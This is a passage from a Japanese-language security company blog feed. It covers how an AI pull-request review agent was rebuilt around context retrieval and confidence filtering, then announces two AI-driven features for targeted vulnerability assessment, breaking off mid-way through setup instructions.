&lt;blockquote&gt;
&lt;p&gt;エージェントはいくつの問題を見つけられるか。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;次のものへと変わりました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;エージェントにはどの問題についてコメントを許可すべきか。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この転換によって、2つ目のバージョンははるかに良くなりました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="アーキテクチャで変わったこと"&gt;アーキテクチャで変わったこと&lt;/h2&gt;
&lt;p&gt;現在のシステムは、一度の飛躍的な進歩から生まれたものではありません。一つの中核的な考え方を軸に、何度も改良を重ねて生まれました。その考え方とは、&lt;strong&gt;レビュアーはコメントする資格を得る前にコンテキストを必要とする&lt;/strong&gt;というものです。&lt;/p&gt;
&lt;p&gt;初期の実験では、CrewAIを使ってレビューの挙動を調整していました。このアプローチは有望でしたが、出力はプルリクエストレビューに求められるほど一貫して信頼できるものではありませんでした。次に、よりシンプルなPydanticベースのワークフローに移行し、レビューパイプラインの構造と制御を強化しました。これにより一貫性は向上しましたが、関連するコンテキストが欠けているときには、システムは依然としてコードを誤解していました。&lt;/p&gt;
&lt;p&gt;次の改良では、ツールベースのアーキテクチャに移行しました。&lt;/p&gt;
&lt;p&gt;固定のプロンプトからプルリクエストをレビューするようモデルに依頼するのではなく、システムは必要に応じて追加の情報を収集できるようになりました。関連するファイルを調べ、近くの実装を確認し、関連する規約を取得し、分析を具体的なレビュー作業に絞り込むことができます。&lt;/p&gt;
&lt;p&gt;大まかな流れは次のとおりです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;プルリクエストのイベントを受信&lt;/strong&gt;&lt;br/&gt;
   プルリクエストが作成または更新されると、システムが動き出します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;差分と変更されたファイルを解析&lt;/strong&gt;&lt;br/&gt;
   レビュアーが、何が変わり、どのファイルが影響を受けるかを特定します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;レビュー目標を選択&lt;/strong&gt;&lt;br/&gt;
   範囲を限定しないレビューを行うのではなく、システムは特定のカテゴリの問題に焦点を当てます。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;関連するコンテキストを取得&lt;/strong&gt;&lt;br/&gt;
   エージェントが、周辺のコード、関連する関数、テスト、設定ファイル、リポジトリ内のパターンを収集します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;的を絞った分析を実行&lt;/strong&gt;&lt;br/&gt;
   クリーンアップの欠如、処理されていない例外、安全でない前提、永続化されない状態変更など、具体的な問題がないかをシステムが確認します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;確信度で検出結果をフィルタリング&lt;/strong&gt;&lt;br/&gt;
   確信度の低い所見は、投稿せずに抑制します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;慎重にコメントを生成&lt;/strong&gt;&lt;br/&gt;
   具体的で、対応可能で、プルリクエストに結び付いた検出結果だけを提示します。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;このアーキテクチャによって推測が減ったため、システムはより役立つものになりました。&lt;/p&gt;
&lt;p&gt;レビュアーは、差分に反応するチャットボットというより、限定された役割を持つ専門的なエンジニアリングツールに近いものになりました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="コンテキストの収集が最も重要な機能になった"&gt;コンテキストの収集が最も重要な機能になった&lt;/h2&gt;
&lt;p&gt;最大の改善は、システムにより良いコンテキストを与えたことから生まれました。&lt;/p&gt;
&lt;p&gt;最初のバージョンはプルリクエストを見ていましたが、周辺の実装を見落とすことがよくありました。新しいバージョンは、次のような問いに答えるのに役立つ情報を取得できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;このパターンはリポジトリ内の他の場所ですでに使われているか&lt;/li&gt;
&lt;li&gt;提案された変更は近くのコードと一貫しているか&lt;/li&gt;
&lt;li&gt;この関数には現在の挙動に依存する呼び出し元があるか&lt;/li&gt;
&lt;li&gt;このパスをカバーするテストはあるか&lt;/li&gt;
&lt;li&gt;この例外処理は意図的なものか&lt;/li&gt;
&lt;li&gt;コードは設定値や実行時の前提に依存しているか&lt;/li&gt;
&lt;li&gt;この問題は同じプルリクエストの別の部分ですでに対処されているか&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これが重要なのは、質の悪いレビューコメントの多くが、見えている範囲が不完全であることから生じるからです。&lt;/p&gt;
&lt;p&gt;たとえば、エージェントがディレクトリへの書き込みを見つけると、そのディレクトリが存在するかの確認を提案するかもしれません。それが役立つこともあります。しかし、関数が呼び出される前にセットアップのコードがすでにディレクトリを作成しているなら、そのコメントはノイズになります。&lt;/p&gt;
&lt;p&gt;役に立つ検出結果と誤検知の違いは、多くの場合、1つか2つのファイル分のコンテキストにすぎません。&lt;/p&gt;
&lt;p&gt;取得によってすべての問題が解決するわけではありませんが、モデルが部分的な視点から挙動を推測しなければならないケースは劇的に減ります。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="コメント数の最適化をやめた"&gt;コメント数の最適化をやめた&lt;/h2&gt;
&lt;p&gt;最も重要な変更の一つは、システムをより慎重にしたことです。&lt;/p&gt;
&lt;p&gt;最初のバージョンは、暗黙のうちに何かを見つけることを評価していました。2つ目のバージョンは、役に立つことを評価します。&lt;/p&gt;
&lt;p&gt;そのためには、出力に関する異なる考え方が必要でした。レビュアーは、何かが改善できるかもしれないというだけでコメントすべきではありません。具体的な問題があり、それを裏付けるコンテキストが十分にあり、作成者が取れる明確な行動があるときにコメントすべきです。&lt;/p&gt;
&lt;p&gt;スタイルに関する提案は、たいてい十分な理由にはなりません。大規模なリファクタリングの提案も、たいてい十分ではありません。未知のビジネス上の意図に左右される問題の可能性も、たいてい十分ではありません。&lt;/p&gt;
&lt;p&gt;現在のシステムは、確信度が低いときには沈黙を選ぶように設計されています。&lt;/p&gt;
&lt;p&gt;これは難しくも必要な変更でした。多くのAIシステムは、出力が多いほど印象的に感じられます。コードレビューはその逆です。コメントの頻度は低くても、たいてい正しいレビューエージェントは、考えられるあらゆる懸念にコメントするエージェントよりもはるかに価値があります。&lt;/p&gt;
&lt;p&gt;信頼は、抑制によって築かれます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="確信度のしきい値とコメントの品質"&gt;確信度のしきい値とコメントの品質&lt;/h2&gt;
&lt;p&gt;当社はまた、不確実性をシステムの中核的な要素として扱い始めました。&lt;/p&gt;
&lt;p&gt;検出結果を投稿する前に、レビュアーはその問題が具体的で、対応可能で、利用可能なコンテキストによって裏付けられているかどうかを検討します。優れたコメントは、通常いくつかの基準を満たしているべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;変更内の具体的な場所を指している&lt;/li&gt;
&lt;li&gt;リスクを明確に説明している&lt;/li&gt;
&lt;li&gt;曖昧な表現を避けている&lt;/li&gt;
&lt;li&gt;エージェントが検証できない前提に依存していない&lt;/li&gt;
&lt;li&gt;リポジトリで確認できる規約と矛盾していない&lt;/li&gt;
&lt;li&gt;実用的な修正や次のステップを提案している&lt;/li&gt;
&lt;li&gt;作成者の手を止めさせるだけの重要性がある&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;技術的に正しいコメントでも役に立たない場合があるため、このフィルタリングは重要です。&lt;/p&gt;
&lt;p&gt;たとえば、リファクタリングの提案は単独で見れば妥当かもしれませんが、コードが明確で、近くのパターンと一貫しており、プルリクエストの目的と無関係であれば、投稿する価値はありません。同様に、より広い例外処理を推奨するのは安全そうに聞こえるかもしれませんが、有用な障害モードを隠し、デバッグを難しくする可能性があります。&lt;/p&gt;
&lt;p&gt;レビュアーは、意見を持ったリンターのように振る舞うべきではありません。投稿するすべてのコメントのコストを理解した、慎重なアシスタントのように振る舞うべきです。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="現在のバージョンがうまく見つけられるもの"&gt;現在のバージョンがうまく見つけられるもの&lt;/h2&gt;
&lt;p&gt;現在のバージョンが最も力を発揮するのは、期待される挙動をコードから検証できる、反復的で機械的な問題です。&lt;/p&gt;
&lt;p&gt;これらは重要であることが多い一方で、必ずしも深いビジネスコンテキストを必要としない種類の検出結果です。また、シニアエンジニアが手動レビューで繰り返し見つけている種類の問題でもあります。&lt;/p&gt;
&lt;p&gt;このシステムは、次のような問題の特定に役立っています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;クラッシュを引き起こす可能性のある、処理されていない例外&lt;/li&gt;
&lt;li&gt;早期リターンの陰に隠れたリソースリーク&lt;/li&gt;
&lt;li&gt;計算されるが永続化されない状態変更&lt;/li&gt;
&lt;li&gt;リファクタリング後に残されたデッドコード&lt;/li&gt;
&lt;li&gt;存在しない可能性のあるディレクトリへの書き込みなど、セットアップ手順の欠如&lt;/li&gt;
&lt;li&gt;成功パスと失敗パスで一貫しないクリーンアップの挙動&lt;/li&gt;
&lt;li&gt;ファイル、プロセス、ネットワークの操作に関する安全でない前提&lt;/li&gt;
&lt;li&gt;限定的で具体的なシナリオにおける競合状態&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;特に役立った検出結果の一つは、実際のTOCTOU（time-of-check to time-of-use）の問題でした。コードはある条件が真であることを確認し、その後、条件が変わっていないという前提で操作を実行していました。この種の問題は、関連する行が個別には妥当に見えるため、レビューで見逃しやすいものです。エージェントはその一連の流れを結び付け、リスクを指摘できました。&lt;/p&gt;
&lt;p&gt;現時点で当社がAIレビューに最も価値を感じているのはこの点です。アーキテクトとしてではなく、機械的な正しさを疲れることなくチェックするレビュアーとしての価値です。&lt;/p&gt;
&lt;p&gt;これにより、重要なレビューの流れから反復的な作業の一部を取り除き、人間のレビュアーがより高いレベルの判断に集中できるようになります。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="まだ見逃しているもの"&gt;まだ見逃しているもの&lt;/h2&gt;
&lt;p&gt;このシステムは最初のバージョンより優れていますが、人間のレビューに取って代わるにはほど遠い状態です。&lt;/p&gt;
&lt;p&gt;幅広いアーキテクチャ上の推論、ドメイン固有のビジネスロジック、そして最も重要なコンテキストがリポジトリの外にある判断には、依然として苦戦しています。コードがどう動くかは理解できることが多いものの、なぜそのように書かれたのかを理解するのははるかに困難です。&lt;/p&gt;
&lt;p&gt;意図の理解は、依然として最も難しい課題です。&lt;/p&gt;
&lt;p&gt;レビュアーは今でも、技術的には妥当でも役に立たない変更を提案することがあります。すでに許容できるコードのリファクタリングを推奨することがあります。現在の明示的な実装のほうが保守しやすいのに、より汎用的な抽象化を提案することがあります。より狭い例外型が意図的に選ばれている場合でも、より広い例外処理を提案することがあります。&lt;/p&gt;
&lt;p&gt;たとえば、システムは次のような特定の例外処理を、&lt;/p&gt;
&lt;p&gt;&lt;code&gt;except RuntimeError&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;次のような広い処理に置き換えるよう提案したことがあります。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;except Exception&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;文脈によっては、それが妥当な場合もあるでしょう。しかし、そうでない場合にはかえって悪くなります。広い例外を捕捉すると、プログラミングのエラーが隠れ、障害のデバッグが難しくなり、周辺のコードが依存している保証が弱まる可能性があります。&lt;/p&gt;
&lt;p&gt;エージェントは実装の詳細を評価できますが、設計の意図を常に理解できるわけではありません。&lt;/p&gt;
&lt;p&gt;この制約が、当社の使い方を決めています。強いエビデンスがない限り、レビュアーには広範なアーキテクチャ上の推奨をしてほしくありません。コード自体が、検出結果を信頼できるものにするのに十分なコンテキストを提供している問題に焦点を当ててほしいのです。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="評価についての考え方"&gt;評価についての考え方&lt;/h2&gt;
&lt;p&gt;当社はもはや、レビュアーが生成するコメントの数で評価していません。&lt;/p&gt;
&lt;p&gt;コメント数が多いことは成功ではありません。多くの場合、それは警告のサインです。&lt;/p&gt;
&lt;p&gt;当社が重視している指標は、次のようなものに近いです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;エンジニアがどれくらいの頻度でコメントに同意するか&lt;/li&gt;
&lt;li&gt;どれくらいの頻度でコメントが実際のコード変更につながるか&lt;/li&gt;
&lt;li&gt;無関係として却下されるコメントがどれくらいあるか&lt;/li&gt;
&lt;li&gt;同じ問題がどれくらいの頻度で複数回報告されるか&lt;/li&gt;
&lt;li&gt;レビュアーがエージェントのフィードバックの検証にどれくらいの時間を費やすか&lt;/li&gt;
&lt;li&gt;シニアレビュアーより先に、エージェントが反復的な問題を見つけられるか&lt;/li&gt;
&lt;li&gt;エンジニアが時間が経ってもツールを信頼し続けるか&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最も重要なシグナルは、エンジニアがエージェントのフィードバックを読む価値のあるものとして扱っているかどうかです。&lt;/p&gt;
&lt;p&gt;エンジニアがコメントを読み飛ばすなら、一部の検出結果が技術的に正しくても、システムは失敗しています。エンジニアが少数の的確なコメントに一貫して対応しているなら、システムは役割を果たしています。&lt;/p&gt;
&lt;p&gt;だからこそ、当社は意図的に慎重な姿勢を取っています。エンジニアにレビュアーを無視する癖をつけさせるくらいなら、判断の分かれる問題を見逃すほうを選びます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="社内の実験からプラットフォームの機能へ"&gt;社内の実験からプラットフォームの機能へ&lt;/h2&gt;
&lt;p&gt;社内の実験として始まったものが、今ではより広い製品の方向性に生かされています。&lt;/p&gt;
&lt;p&gt;当社は、AIによるコードレビュー機能をOstorlabプラットフォームに導入する取り組みを進めています。この機能を外部に公開する前に、当社自身のプルリクエストで使い、どこで役立つかを観察し、どこにガードレールが必要かを理解したいと考えました。&lt;/p&gt;
&lt;p&gt;社内で使ったことで、この機能のあるべき姿が明確になりました。&lt;/p&gt;
&lt;p&gt;エンジニアリングの判断に取って代わるべきではありません。すべてのプルリクエストを、AIが生成したコメントで埋め尽くすべきではありません。何かを見つけたことを証明しようとする、自信過剰なジュニアレビュアーのように振る舞うべきではありません。&lt;/p&gt;
&lt;p&gt;そうではなく、チームが反復的、機械的、そしてセキュリティに関わる問題を、開発プロセスのより早い段階で見つけられるよう支援すべきです。&lt;/p&gt;
&lt;p&gt;これはアプリケーションセキュリティ（AppSec）にとって特に重要です。多くのセキュリティ問題は、デプロイ後や後のスキャンの段階よりも、コードレビューの段階で修正するほうがコストを抑えられます。役に立つAIレビュアーは、コードが書かれる場所に近いところでリスクのあるパターンを特定することで、既存のAppSecワークフローを補完できます。&lt;/p&gt;
&lt;p&gt;だからといって、SAST、DAST、手動のセキュリティレビュー、経験豊富なエンジニアの代わりになるわけではありません。ワークフローにもう一つの層を加えるものです。早期に、コンテキストを踏まえて、開発者に向けたフィードバックを提供することに特化した層です。&lt;/p&gt;
&lt;p&gt;この機能がいつ利用可能になるのかを尋ねるユーザーからの関心も、すでに寄せられています。こうした需要は、コードレビューがアプリケーションセキュリティのワークフローの重要な一部になりつつあるという当社の考えを裏付けています。&lt;/p&gt;
&lt;p&gt;しかし、リリースの速さよりも有用性のほうが重要です。当社が優先しているのは、本番環境のユーザーに届ける前に、この機能を慎重で、信頼でき、実用的なものにすることです。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="学んだこと"&gt;学んだこと&lt;/h2&gt;
&lt;h3 id="aiレビュアーはジュニアエンジニアではない"&gt;AIレビュアーはジュニアエンジニアではない&lt;/h3&gt;
&lt;p&gt;よくある間違いは、AIレビュアーをジュニア開発者であるかのように扱うことです。&lt;/p&gt;
&lt;p&gt;そうではありません。&lt;/p&gt;
&lt;p&gt;ジュニアエンジニアは時間とともにコンテキストを蓄積します。質問をします。過去の判断を覚えています。システムの歴史やチームの好みを学びます。経験を通じて判断力を身に付けます。&lt;/p&gt;
&lt;p&gt;AIシステムの動き方は異なります。パターン認識、一貫性、要約、反復的な分析が得意です。大量のコードを素早く調べられます。人間が見落としがちな機械的な問題を特定できます。&lt;/p&gt;
&lt;p&gt;しかし、組織の歴史、製品の意図、アーキテクチャ上のトレードオフは、それらが利用可能な形で与えられない限り、自然に理解できるわけではありません。&lt;/p&gt;
&lt;p&gt;AIレビュアーにとって最適な役割は、置き換えではありません。支援です。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="カバレッジよりも信頼が重要"&gt;カバレッジよりも信頼が重要&lt;/h3&gt;
&lt;p&gt;最も重要な指標は、レビュアーが生成する検出結果の数ではありません。&lt;/p&gt;
&lt;p&gt;エンジニアが信頼する検出結果の数です。&lt;/p&gt;
&lt;p&gt;正確で対応可能なコメントを10件生成するシステムは、手動での検証が必要なコメントを100件生成するシステムよりも価値があります。カバレッジは重要ですが、それはシステムが信頼を得た後の話です。&lt;/p&gt;
&lt;p&gt;コードレビューエージェントにとって、抑制は機能の一つです。沈黙が正しい出力であることもあります。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="コンテキストが、役に立つかノイズになるかを分ける"&gt;コンテキストが、役に立つかノイズになるかを分ける&lt;/h3&gt;
&lt;p&gt;AIレビューの失敗の多くは、コンテキストの失敗です。&lt;/p&gt;
&lt;p&gt;狭い差分をレビューするモデルは、疑わしく見えても実際には別の場所ですでに対処されているものを特定することがあります。リポジトリと矛盾する規約を推奨することがあります。テスト環境、実行時の前提、アーキテクチャ上の境界を誤解することがあります。&lt;/p&gt;
&lt;p&gt;より優れたモデルは役立ちますが、より良いコンテキストも同じくらい重要です。&lt;/p&gt;
&lt;p&gt;レビュアーには、人間のレビュアーが自然に使う情報、つまり周辺のコード、関連するファイル、テスト、規約、設定、過去のパターンへのアクセスが必要です。&lt;/p&gt;
&lt;p&gt;そのコンテキストがなければ、システムは推測します。そして、コードレビューにおいて自信に満ちた推測は危険です。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="止めることが正しい判断であるときもある"&gt;止めることが正しい判断であるときもある&lt;/h3&gt;
&lt;p&gt;当社の最初の試みは失敗しました。&lt;/p&gt;
&lt;p&gt;当時は残念な結果でした。振り返ってみると、それはこのプロジェクトで最も有益な成果の一つでした。&lt;/p&gt;
&lt;p&gt;運用を停止したことで、当社は本当の問題を理解せざるを得なくなりました。問題は、単にモデルがもっと優れている必要があるということではありませんでした。当社のシステムが、信頼されるレビューコメントではなく、レビューコメントを生成することに最適化されていたことが問題だったのです。&lt;/p&gt;
&lt;p&gt;プロジェクトに再び取り組んだとき、当社はゼロからやり直したわけではありません。失敗したバージョンから得た教訓の上に構築していたのです。&lt;/p&gt;
&lt;p&gt;すべてのエンジニアリングプロジェクトが最初の試みで成功するわけではありません。ときには、いったん止めて学び、技術と問題への理解の両方が進んだときに戻ってくることが正しい判断になります。&lt;/p&gt;
&lt;p&gt;今回起きたのは、まさにそういうことでした。&lt;/p&gt;
&lt;p&gt;当社は今でも、AIが人間によるプルリクエストレビューに取って代わるべきだとは考えていません。しかし、焦点を絞り、コンテキストを踏まえ、慎重であれば、AIはレビューをより良いものにできると考えています。&lt;/p&gt;
&lt;p&gt;目指すのは、より多くコメントするAIレビュアーではありません。&lt;/p&gt;
&lt;p&gt;目指すのは、エンジニアが本当に信頼できるAIレビュアーです。&lt;/p&gt;</content><category term="Engineering"/><category term="PR"/><category term="AI Agent"/><category term="Pull Request Review"/></entry><entry><title>OstorlabのSingle Vulnerability AssessmentとDig Deeperのご紹介</title><link href="https://blog.ostorlab.co/ja/Ostorlab-launches-Single-Vulnerability-Assessment-and-Dig-Deeper.html" rel="alternate"/><published>2026-06-02T16:00:00+02:00</published><updated>2026-06-02T16:00:00+02:00</updated><author><name>Kawtar Boumaan</name></author><id>tag:blog.ostorlab.co,2026-06-02:/ja/Ostorlab-launches-Single-Vulnerability-Assessment-and-Dig-Deeper.html</id><summary type="html">&lt;p&gt;Ostorlabは、強力で高度にターゲットを絞ったAIオーケストレーションエンジンをリリースします。このエンジンは、Single Vulnerability Assessment（SVA）とDig Deeperという2つの異なるUIワークフローから利用できます。どちらの機能もまったく同じ基盤のAIロジック、機能、「Bring-Your-Own-Key」の構成を共有していますが、ワークフローにおける異なる入口に合わせて設計されています。SVAは新規の独立したスキャンとして起動し、ターゲットを絞ったコスト効率の高い評価、修正の検証、バグバウンティの検証に使用します。Dig Deeperはスキャンレポート内の既存の検出結果から直接起動し、誤検知の調査やエクスプロイト経路の追跡を即座に行います。この2つを組み合わせることで、チームは個々の脆弱性のテストと検証を精密に管理できます。&lt;/p&gt;</summary><content type="html">&lt;p&gt;従来のセキュリティスキャンでは、「海を沸騰させる」ようなアプローチを強いられることがよくあります。大量の計算リソースを消費し、圧倒的な量のノイズを生み出す、大規模で広範なチェックを実行するやり方です。しかし、変化の速い脅威環境では、何よりも精度とスピードが重要です。包括的でフルスケールの評価が必要ないこともあります。必要なのは、一つの重要な問いに完全に明確な答えを出すことなのです。&lt;br/&gt;
本日、セキュリティチーム、開発者、バグバウンティハンターがセキュリティワークフローを精密に管理できるよう設計された、強力で高度にターゲットを絞ったAIオーケストレーションエンジンをリリースします。このエンジンは、その時々のニーズに応じて、&lt;strong&gt;Single Vulnerability Assessment（SVA）&lt;/strong&gt;と&lt;strong&gt;Dig Deeper&lt;/strong&gt;という2つの異なる入口から利用できます。&lt;br/&gt;
内部ではまったく同じ高度なAIロジックで動作しているため、これらの機能では、ユーザーインターフェース上で調査をどう起動するかだけが異なり、いずれも焦点を極限まで絞ったチェックを実行できます。&lt;/p&gt;
&lt;h2 id="一つのエンジン、2つの入口"&gt;&lt;strong&gt;一つのエンジン、2つの入口&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;SVAとDig Deeperはまったく同じ基盤のAIエージェントインフラを利用しているため、同等の深さと精度を発揮します。違いは、それらが必要になったときにワークフローのどの段階にいるかという点だけです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Single Vulnerability Assessment（SVA）：&lt;/strong&gt;アセットのダッシュボードから、新規の独立したスキャンとして起動します。アセットと、対象とする特定の欠陥を一から定義します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dig Deeper：&lt;/strong&gt;既存のスキャンレポートから、事後的に起動します。疑わしく見える特定の検出結果があれば、その脆弱性のページから直接エンジンを起動して、さらに詳しく調査します。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="1. single vulnerability assessment(sva)"&gt;&lt;strong&gt;1. Single Vulnerability Assessment（SVA）&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="独立した、ターゲットを絞ったテスト"&gt;&lt;strong&gt;独立した、ターゲットを絞ったテスト&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;探しているものが明確にわかっている場合、包括的なスキャンを実行するのは過剰です。SVAでは、広範なテストプロファイルを完全に省いた新規スキャンを設定し、AIエンジンを一つの目的に向けることができます。フル評価のオーバーヘッドなしにスポットチェックを実行できる、高度に局所化された費用対効果の高い手段として設計されています。&lt;/p&gt;
&lt;h3 id="svaのユースケース一覧"&gt;&lt;strong&gt;SVAのユースケース一覧&lt;/strong&gt;&lt;/h3&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;シナリオ&lt;/th&gt;
&lt;th style="text-align: left;"&gt;SVAの役立ち方&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;バグバウンティの検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部の研究者から提出された報告を、開発者に回す前にすぐに再現・検証します。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;修正の検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;チケットをクローズする前に、開発チームのパッチによって特定の脆弱性が確実に塞がれたかを再確認します。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;ターゲットを絞ったコスト効率の高い評価&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;単一のアセットを、きわめて特定のリスクやCVEについて迅速に監査し、計算リソースの消費を最小限に抑えます。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="2. dig deeper"&gt;&lt;strong&gt;2. Dig Deeper&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="インラインでのトリアージとコンテキストの保持"&gt;&lt;strong&gt;インラインでのトリアージとコンテキストの保持&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;セキュリティのトリアージにおいて、脆弱性の発見が最も難しい部分であることはまれです。本当の手間はその後にあります。これまで、フラグが立った問題が誤検知（フォールスポジティブ）かどうかを検証したり、その悪用可能性を実証したりするには、ダッシュボードを離れ、新しいタブを開き、コードを取得し、手作業で問題を再現しようとする必要がありました。その過程で重要なコンテキストが失われていたのです。&lt;br/&gt;
Dig Deeperは、まったく同じターゲット型のAIエンジンを、既存のスキャン結果の中に直接持ち込みます。新しいスキャンを一から設定する代わりに、ワンクリックで現在の検出結果のコンテキストがそのままAIエージェントに渡されます。&lt;/p&gt;
&lt;h3 id="確信に至るための3つの調査パス"&gt;&lt;strong&gt;確信に至るための3つの調査パス&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;検出結果からDig Deeperを起動すると、AIエージェントに3つの異なる調査トラックのいずれかを指示できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;誤検知の検証：&lt;/strong&gt;エージェントにコンテキストを体系的に評価させ、その欠陥が現実の脅威となるのか、単なるバックグラウンドノイズにすぎないのかを実証します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;より深い調査の実行：&lt;/strong&gt;エンジンに脆弱性の技術的な細部まで深く掘り下げさせ、潜在的なエクスプロイトのベクトルを洗い出します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;カスタムアクションの実行：&lt;/strong&gt;社内のセキュリティパラメーターに合わせて調査の進め方を指示し、完全に主導権を握ります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="OstorlabのDig Deeperメニュー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-01_SVA_DD_announcement_article/dd.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt; &lt;/p&gt;
&lt;h2 id="bring-your-own-keyによるaiオーケストレーション"&gt;&lt;strong&gt;Bring-Your-Own-KeyによるAIオーケストレーション&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;SVAスキャンを起動する場合でも、Dig Deeperセッションを開始する場合でも、利用するのはOstorlabの次世代AIエージェントフレームワークです。これらの調査は高度な推論とマルチモーダル分析に大きく依存しているため、&lt;strong&gt;AIプロバイダーのAPIキーの提供は必須の手順です&lt;/strong&gt;。&lt;br/&gt;
迅速な導入と専門家レベルの監査を両立させるため、どちらのワークフローにも2つの設定レベルが用意されています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;シンプル設定：&lt;/strong&gt;お好みのAIプロバイダーのAPIキーを1つ提供するだけで、標準の自動調査ロジックをエンドツーエンドで動かせます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高度な設定：&lt;/strong&gt;最大限の精度を求めるチーム向けに、異なる認知タスクを専門のモデルに振り分けて、パフォーマンスを最適化し、死角を減らすことができます。  &lt;ul&gt;
&lt;li&gt;&lt;strong&gt;検出と代替検出：&lt;/strong&gt;プライマリモデルとセカンダリモデルが連携して攻撃ベクトルを特定し、比較分析を行います。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証：&lt;/strong&gt;専用のモデルが検出結果の検証に専念し、ノイズを除去して、裏付けの取れない検出結果を棄却します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ビジョン：&lt;/strong&gt;マルチモーダルモデルが視覚的な分析を担当し、人間のレビュー担当者と同じようにアプリケーションのスクリーンショットを解析し、ユーザーインターフェースのコンテキストを評価します。 &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="BYOKによるAIオーケストレーション" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-01_SVA_DD_announcement_article/api.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt; &lt;/p&gt;
&lt;h2 id="スキャンの実行方法"&gt;&lt;strong&gt;スキャンの実行方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;ターゲットを絞った評価や詳細な調査の設定は、ほんの数分で完了します。以下に、ダッシュボードでこれらのワークフローを開始するための手順を紹介します。&lt;/p&gt;
&lt;h3 id="svaスキャンの起動"&gt;&lt;strong&gt;SVAスキャンの起動&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1. &lt;strong&gt;アセットを定義する：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;まず、テストしたいアプリケーションを見つけます。検索バーでアプリケーション名を検索し、ホストされているプラットフォームを指定します。主要な環境のほとんどに対応していますが、HarmonyOSとAppGalleryにはまだ対応していない点に注意してください。&lt;/p&gt;
&lt;p&gt;2. &lt;strong&gt;スキャンプロファイルを設定する：&lt;/strong&gt; &lt;/p&gt;
